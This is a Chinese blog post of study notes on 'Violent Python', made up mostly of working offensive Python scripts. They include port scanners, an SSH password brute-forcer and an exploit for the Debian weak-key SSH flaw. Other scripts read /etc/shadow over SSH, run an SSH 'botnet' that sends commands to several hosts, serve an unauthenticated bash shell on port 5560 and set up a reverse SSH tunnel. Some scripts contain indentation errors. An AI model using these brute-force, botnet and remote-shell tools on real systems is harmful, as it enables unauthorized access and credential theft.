Violent python - 端口扫描&pexpect模块

端口扫描(socket版)

import optparse
from socket import *
from threading import *
screenLock = Semaphore(value=1) #可以使用Lock()
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        screenLock.acquire()
        print '[+]%d/tcp open'% tgtPort
        print '[+] ' + str(results)
    except:
        screenLock.acquire()
        print '[-]%d/tcp closed'% tgtPort
    finally:
        screenLock.release()
        connSkt.close()
def portScan(tgtHost, tgtPorts):
    try:
        tgtIP = gethostbyname(tgtHost)
    except:
        print "[-] Cannot resolve '%s': Unknown host"%tgtHost
        return
    try:
        tgtName = gethostbyaddr(tgtIP)
        print '\n[+] Scan Results for: ' + tgtName[0]
    except:
        print '\n[+] Scan Results for: ' + tgtIP
        setdefaulttimeout(1)
        for tgtPort in tgtPorts:
            t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
            t.start()
def main():
    parser = optparse.OptionParser('usage%prog '+\
                                   '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', \
                      help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', \
                      help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')
    if (tgtHost == None) | (tgtPorts[0] == None):
        print parser.usage
        exit(0)
    portScan(tgtHost, tgtPorts)

if __name__ == "__main__":
    main()

端口扫描(nmap版)

import nmap
import optparse
def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print " [*] " + tgtHost + " tcp/"+tgtPort +" "+state

def main():
    parser = optparse.OptionParser('usage%prog '+\
                                   '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', \
                      help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', \
                      help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')
    if (tgtHost == None) | (tgtPorts[0] == None):
        print parser.usage
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost, tgtPort)

if __name__ == '__main__':
    main()

SSH连接交互(pexpect版)

import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before

def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
                        '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, \
                            '[P|p]assword:'])
        if ret == 0:
            print '[-] Error Connecting'
            return
    child.sendline(password)
    child.expect(PROMPT)
    return child

def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')

if __name__ == '__main__':
    main()

SSH连接交互(pxssh版)

from pexpect import pxssh #与原书代码此处有差别
def send_command(s, cmd):
    s.sendline(cmd)
    s.prompt()
    print s.before
def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        return s
    except:
        print '[-] Error Connecting'
        exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

SSH密码破解(pxssh版)

原书代码:

from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)#决定了最多同时开启5个线程
Found = False
Fails = 0
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found:' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release:
            connection_lock.release()

def main():
    parser = optparse.OptionParser('usage%prog'+\
                                   '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', \
                      help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', \
                      help='specify password file')
    parser.add_option('-u', dest='user', type='string', \
                      help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        if Found:
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails > 5:
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: "+str(password)
        t = Thread(target=connect, args=(host, user, password, True))
        t.start()

if __name__ == '__main__':
    main()

上诉代码在网络阻塞的情况下会一直递归调用connect方法无法停止,改进版如下:

from pexpect import pxssh
import optparse
import time
from threading import *
import sys
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = Event()
Fails = 0
Fails1= 0
def connect(host, user, password, release):
    global Fails
    global Fails1
    if Fails > 5 or Fails1 > 5:
            print "[!] Exiting: Too Many Socket Timeouts"
            if release:
                connection_lock.release()
            return 
            
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found:' + password
        Found.set()
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            Fails1 += 1
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release:
            connection_lock.release()

def main():
    parser = optparse.OptionParser('usage%s'%sys.argv[0]+\
                                   '-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string', \
                      help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', \
                      help='specify password file')
    parser.add_option('-u', dest='user', type='string', \
                      help='specify the user')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
        if Found.is_set():
            print "[*] Exiting: Password Found"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: "+str(password)
        t = Thread(target=connect, args=(host, user, password, True))
        t.start()

if __name__ == '__main__':
    main()

SSH弱私钥暴破

漏洞说明

影响范围:

  • 时间:September 2006 - May 13th, 2008
  • 系统:Debian

代码(exploitdb版)

import Queue
import os
import string
import time
from threading import Thread
import sys

#This class only has a boolean, which will be True if some thread find the key
class End():
	def __init__(self):
		self.end = False
		
	def Finish(self):
		self.end = True
	
	def GetEnd(self):
		return self.end	
		

#This is the thread class
class Connection(Thread):
	def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
		Thread.__init__(self)
		self.QueueDir = QueueDir
		self.TheEnd = TheEnd
		self.dir = dir
		self.host = host
		self.user = user
		self.port = port
			
	def run(self):
		while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
			key = self.QueueDir.get()
			
			cmd = 'ssh -l ' + self.user 
			cmd = cmd + ' -p ' + self.port 
			cmd = cmd + ' -o PasswordAuthentication=no'
			cmd = cmd + ' -i ' + self.dir + '/' + key 
			cmd = cmd + ' ' + self.host + ' exit; echo $?'
			
			pin,pout,perr = os.popen3(cmd, 'r')
			pin.close()
			
			#To debug descoment the next line. This will show the errors reported by ssh
			#print perr.read()
			
			if pout.read().lstrip().rstrip() == '0':
				self.TheEnd.Finish()
				print ''
				print 'Key Found in file: '+ key
				print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) 
				print ''
		
print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org' 

if len(sys.argv) < 4:
	print './exploit.py <dir> <host> <user> [[port] [threads]]'
	print '    <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
	print '    <host>: The victim host'
	print '    <user>: The user of the victim host'	
	print '    [port]: The SSH port of the victim host (default 22)'
	print '    [threads]: Number of threads (default 4) Too big numer is bad'
	
	sys.exit(1)
	
dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]

if len(sys.argv) <= 4: 
	  port='22'
	  threads=4
else:
	if len(sys.argv) <=5:
		port=sys.argv[4]
		threads = 4

	else:
		port=sys.argv[4]	
		threads = sys.argv[5]

ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()

for i in range(len(ListDir)):
	if ListDir[i].find('.pub') == -1:	
		QueueDir.put(ListDir[i])

initsize = QueueDir.qsize()
tested = 0

for i in range(0,int(threads)):
	Connection(QueueDir,TheEnd,dir,host,user,port).start()


while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
	time.sleep(5)
	actsize = QueueDir.qsize()
	speed = (initsize - tested - actsize)/5
	tested = initsize - actsize
	
	print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) 

代码(violent phython版)

import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
	global Stop
	global Fails
	try:
		perm_denied = 'Permission denied'
		ssh_newkey = 'Are you sure you want to continue'
		conn_closed = 'Connection closed by remote host'
		opt = ' -o PasswordAuthentication=no'
		connStr = 'ssh ' + user +'@' + host + ' -i ' + keyfile + opt
		child = pexpect.spawn(connStr)
		ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$','#', ])
		if ret == 2:
			print '[-] Adding Host to ∼/.ssh/known_hosts'
			child.sendline('yes')
			connect(user, host, keyfile, False)
		elif ret == 3:
			print '[-] Connection Closed By Remote Host'
			Fails += 1
		elif ret > 3:
			print '[+] Success. ' + str(keyfile)
			Stop = True
	finally:
		if release:
			connection_lock.release()
def main():
	parser = optparse.OptionParser('usage%prog -H '+\
										'<target host> -u <user> -d <directory>')
	parser.add_option('-H', dest='tgtHost', type='string', \
										help='specify target host')
	parser.add_option('-d', dest='passDir', type='string', \
										help='specify directory with keys')
	parser.add_option('-u', dest='user', type='string', \
										help='specify the user')
	(options, args) = parser.parse_args()
	host = options.tgtHost
	passDir = options.passDir
	user = options.user
	if host == None or passDir == None or user == None:
		print parser.usage
		exit(0)
	for filename in os.listdir(passDir):
		if Stop:
			print '[*] Exiting: Key Found.'
			exit(0)
		if Fails > 5:
			print '[!] Exiting: '+\
						'Too Many Connections Closed By Remote Host.'
			print '[!] Adjust number of simultaneous threads.'
			exit(0)
		connection_lock.acquire()
		fullpath = os.path.join(passDir, filename)
		print '[-] Testing keyfile ' + str(fullpath)
		t = Thread(target=connect, args=(user, host, fullpath, True))
		child = t.start()
if __name__ == '__main__':
main()

SSH僵尸网络

import optparse
import pxssh
class Client:
	def __init__(self, host, user, password):
		self.host = host
		self.user = user
		self.password = password
		self.session = self.connect()
	def connect(self):
		try:
			s = pxssh.pxssh()
			s.login(self.host, self.user, self.password)
			return s
		except Exception, e:
			print e
			print '[-] Error Connecting'
	def send_command(self, cmd):
		self.session.sendline(cmd)
		self.session.prompt()
		return self.session.before
		
def botnetCommand(command):
	for client in botNet:
		output = client.send_command(command)
		print '[*] Output from ' + client.host
		print '[+] ' + output + '\n'
		
def addClient(host, user, password):
	client = Client(host, user, password)
	botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')			

学到的知识

信号量(Semaphore)和有界信号量(BoundedSenaphore)

  1. 信号量的作用
    在多线程编程中多个线程需要协同工具,这就需要信号量来指导线程同步。
  2. 信号量和有界信号量的使用方式及差别
    在Python中信号量类与有界信号量类分别为threading.Semaphore()及threading.BoundedSemaphore(),使用方法及区别如下:
    use

互斥锁

  1. 信号量的作用
    在多线程编程中多线程之间需要互斥的访问资源,因此需要互斥锁来实现这方面的要求。
  2. 互斥锁的使用
    在Python中互斥锁类为threading.Lock(),使用方法如下:
    Lock

namp模块

  1. 简介

python-nmap is a python library which helps in using nmap port scanner.
It allows to easilly manipulate nmap scan results and will be a perfect
tool for systems administrators who want to automatize scanning task
and reports. It also supports nmap script outputs.

  1. 类与方法:
  • 所包含的类、属性与方法
    类于方法
  • PortScannerAsync类的介绍
    PortScannerAsync
  • PortScanner类的介绍
    PortScanner
  • 两个类的差别
    PortScannerAsync
import nmap
nma = nmap.PortScannerAsync()
def callback_result(host, scan_result):
    print '------------------'
    print host, scan_result
nma.scan(hosts='127.0.0.1', arguments='-sV', callback=callback_result)
while nma.still_scanning():
    print("Waiting >>>")
    nma.wait(2)

执行结果
PortScanner

import nmap
import pprint
s = nmap.PortScanner()
s.scan(hosts='127.0.0.1',  arguments='-sV')
print s.scaninfo()
print 'Done'

执行结果
3. 其他类似库libnmap

libnmap is a python toolkit for manipulating nmap. It currently offers the following modules:
process: enables you to launch nmap scans
parse: enables you to parse nmap reports or scan results (only XML so far) from a file, a string,…
report: enables you to manipulate a parsed scan result and de/serialize scan results in a json format
diff: enables you to see what changed between two scans
objects: contains basic nmap objects like NmapHost and NmapService. It is to note that each object can be “diff()ed” with another similar object.
report: contains NmapReport class definition
host: contains NmapHost class definition
service: contains NmapService class definition
os: contains NmapOSFingerprint class definition and some other classes like NmapOSMatch, NmapOSClass,…
cpe: contains CPE class defdinition
plugins: enables you to support datastores for your scan results directly in the “NmapReport” object from report module
mongodb: only plugin implemented so far, ultra basic, for POC purpose only
sqlalchemy: Allow to store/retreive NmapReport to sqlite/mysql/… all engine supported by sqlalchemy
rabbitMQ : todo
couchdb: todo
elastic search: todo
csv: todo

  • 列子(解析nmap扫描结果)
#-*- coding:utf-8 -*-
from libnmap.parser import NmapParser	 #导入相关模块
import getopt
import sys
#设置全局变量用于接受解析到的参数
summary = False
port = ''
os = ''
file_path=''
#参数解析
options,useless = getopt.getopt(sys.argv[1:],'f:sp:o:')
for i in options:
    if i[0] == '-s':
        summary = True
    elif i[0] == '-p':
        port = i[1]
    elif i[0] == '-f':
        file_path = i[1]
    else:
        os = i[1]
        report = NmapParser.parse_fromfile(file_path)		#解析数据
        #操作系统:主机信息字典
        system_map={}
        #端口:主机信息字典
        service_map={}
        #遍历解析结果中的主机
        for host in report.hosts:
            if len(host.os_class_probabilities()):	#判断主机的操作系统
                osfamily = host.os_class_probabilities()[0].osfamily
                if system_map.has_key(osfamily):		#填充字典
                    system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)
                else:
                    system_map[osfamily] = []
                    system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)
                
            for serv in host.services:		#遍历主机开启的服务
                key =  str(serv.port)
                if service_map.has_key(key):		#填充字典
                    service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)
                else:
                    service_map[key] = []
                    service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)
def get_summary():
    print '-----------------------------------------summary---------------------------------------------'
    print '                                     Total host:%d                                                              '%report.hosts_total
    print '                                     Hosts is up:%d                                                              '%report.hosts_up
    print '                                     Hosts is down:%d                                                          '%report.hosts_down
    for i in system_map.keys():
        print '                                     %d hosts is %s                                                   '%(len(system_map[i]),i)
    for i in service_map.keys():
        print '                                     %d hosts opened %s                                          '%(len(service_map[i]),i)
    print '\n\n'
def get_port():
    print '-----------------------------------------port  summary---------------------------------------------'
    print 'port\taddress\t\tprotocol\tstate\tservice'
    if service_map.has_key(port):
        for i in service_map[port]:
            print i
    print '\n\n'
def get_os():
    print '-----------------------------------------os  summary---------------------------------------------'
    print 'os\tosgen\tadress'    
    if system_map.has_key(os):
        for i in system_map[os]:
            print i
    print '\n\n'
    
if summary:
    get_summary()
if port:
    get_port()
if os:
    get_os()

pexpect模块

  1. 简介

Pexpect is a Python module for spawning child applications and controlling
them automatically. Pexpect can be used for automating interactive applications
such as ssh, ftp, passwd, telnet, etc. It can be used to a automate setup
scripts for duplicating software package installations on different servers. It
can be used for automated software testing. Pexpect is in the spirit of Don
Libes’ Expect, but Pexpect is pure Python. Other Expect-like modules for Python
require TCL and Expect or require C extensions to be compiled. Pexpect does not
use C, Expect, or TCL extensions. It should work on any platform that supports
the standard Python pty module. The Pexpect interface focuses on ease of use so
that simple tasks are easy.
There are two main interfaces to the Pexpect system; these are the function,
run() and the class, spawn. The spawn class is more powerful. The run()
function is simpler than spawn, and is good for quickly calling program. When
you call the run() function it executes a given program and then returns the
output. This is a handy replacement for os.system().

  1. 最大的特点就是可以更好的处理交互
  2. 应用(交互式shell)
import pexpect
import socket
import threading

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0',5560))
server.listen(5)

def getpromat():
    child = pexpect.spawn('/bin/bash') 
    child.expect(' ')
    return child

def commcmd(cmd,child,promat):
    child.sendline(cmd)
    child.expect(cmd)
    child.expect("%s.*"%promat)
    
def process(clien,adress):
    child = getpromat()
    init_promat = child.before
    promat = init_promat.split(':')[0]
    clien.sendall(init_promat)   
    while True:
        cmd = clien.recv(1000).strip('\r').strip('\n')
        print "Received "+ cmd
        if cmd == 'quit':
            clien.sendall("Exit.....")
            clien.close()
            break        
        commcmd(cmd,child,promat)
        clien.sendall(child.before)
        clien.sendall(child.after)         
        
        
while True:
    client,adress = server.accept()
    t = threading.Thread(target=process,args=(client,adress))
    t.start()    

效果如下图:
效果
参考:
API
探索 Pexpect,第 1 部分:剖析 Pexpect
探索 Pexpect,第 2 部分:Pexpect 的实例分析
4. 联想到paramiko

  • 介绍

Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol [1], providing both client and server functionality. While it leverages a Python C extension for low level cryptography (Cryptography), Paramiko itself is a pure Python interface around SSH networking concepts.

  • 实例(反向TCP端口转发)
# -*- encoding:utf-8 -*-
import getpass
import socket
import select
import sys
import threading
import argparse
import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True

def handler(chan,host,port):
   sock = socket.socket()
   try:
       sock.connect((host,port))
   except Exception as e:
       verbose('Forwarding request to %s:%d failed: %r'%(host,port,e))
       return
   verbose('Connected! Tunnel open %r->%r->%r' % (chan.origin_addr,chan.getpeername(),str((host,port))))
   
   while True:
       r,w,x=select.select([sock,chan],[],[])
       if sock in r:
           data = sock.recv(1024)
           if len(data) == 0:
               break
           chan.send(data)
       if chan in r:
           data = chan.recv(1024)
           if len(data) == 0:
               break
           sock.send(data)
   chan.close()
   sock.close()
   verbose('Tunnel closed from %r' % (chan.origin_addr,))

def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):
   transport.request_port_forward('',server_port)
   while True:
       chan = transport.accept(1000)
       if chan is None:
           continue
       thr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))
       thr.daemon = True
       thr.start()

def verbose(s):
   if g_verbose:
       print(s)
       
       
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option."""

def get_host_port(spec,default_port):
   """Parse 'hostnaem:22' into a host and port,with the port optional"""
   args = (spec.split(':',1)+[default_port])[:2]
   args[1] = int(args[1])
   return (args[0],args[1])

def parse_options():
   global g_verbose
   parser = argparse.ArgumentParser(usage="usage:%(prog)s[options]<ssh-server>[:<server-port>]",description=HELP)
   parser.add_argument('-q','--quiet',action='store_false',dest='verbose',default=True,
                     help='squelch all information output')
   parser.add_argument('-p','--remote-port',action='store',type=int,dest='port',
                    default=DEFAULT_PORT,
                    help='port on server to forward (default:%d)' % DEFAULT_PORT)
   parser.add_argument('-u','--user',action='store',type=str,dest='user',
                     default=getpass.getuser(),
                     help='username for SSH authentication (default:%s)'%getpass.getuser())
   parser.add_argument('-K','--key',action='store',type=str,dest='keyfile',
                     default=None,
                     help="private key file to use for SSH authentication")
   parser.add_argument('-N','--no-key',action='store_false',dest='look_for_keys',default=True,
                     help="don't look for or use a private key file")
   parser.add_argument('-P','--password',action='store_true',dest='readpass',default=False,
                     help='read password (for key or password auth) from stdin')
   parser.add_argument('-r','--remote',action='store',type=str,dest='remote',default=None,
                     metavar='host:post',
                     help='remote host and port to forward to')
   options,args = parser.parse_known_args('172.16.3.45 -p 9000 -r 172.16.3.43:80 --user root --password'.split())
   if len(args) != 1:
       parser.error('Incorrect number of arguments.')
   if options.remote is None:
       parser.error('Remote address required (-r).')
   g_verbose = options.verbose
   server_host,server_port = get_host_port(args[0],SSH_PORT)
   remote_host,remote_port = get_host_port(options.remote,SSH_PORT)
   return options,(server_host,server_port),(remote_host,remote_port)

def main():
   options,server,remote = parse_options()
   password = None
   if options.readpass:
       password = getpass.getpass('Enter SSH password:')
       
   client = paramiko.SSHClient()
   client.load_system_host_keys()
   client.set_missing_host_key_policy(paramiko.WarningPolicy())
       
   verbose('Connecting to ssh host %s:%d...' % (server[0],server[1]))
   try:
       client.connect(server[0],server[1],username=options.user,key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys,password=password)
   except Exception as e:
       print("***Falied to connect to %s:%d :%r" % (server[0],server[1],e))
       sys.exit(1)
           
   verbose('Now forwarding remote port %d to %s:%d...'%(options.port,remote[0],remote[1]))
       
   try:
       reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
   except KeyboardInterrupt:
       print("C-c:Port forwarding stopped.")
       sys.exit(0)
   
if __name__ == '__main__':
   main()
  • 理解
    SSH建立过程及响应代码
    建立过程
    下图是对应于上述程序的五元组建立过程。
    五元组建立过程
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值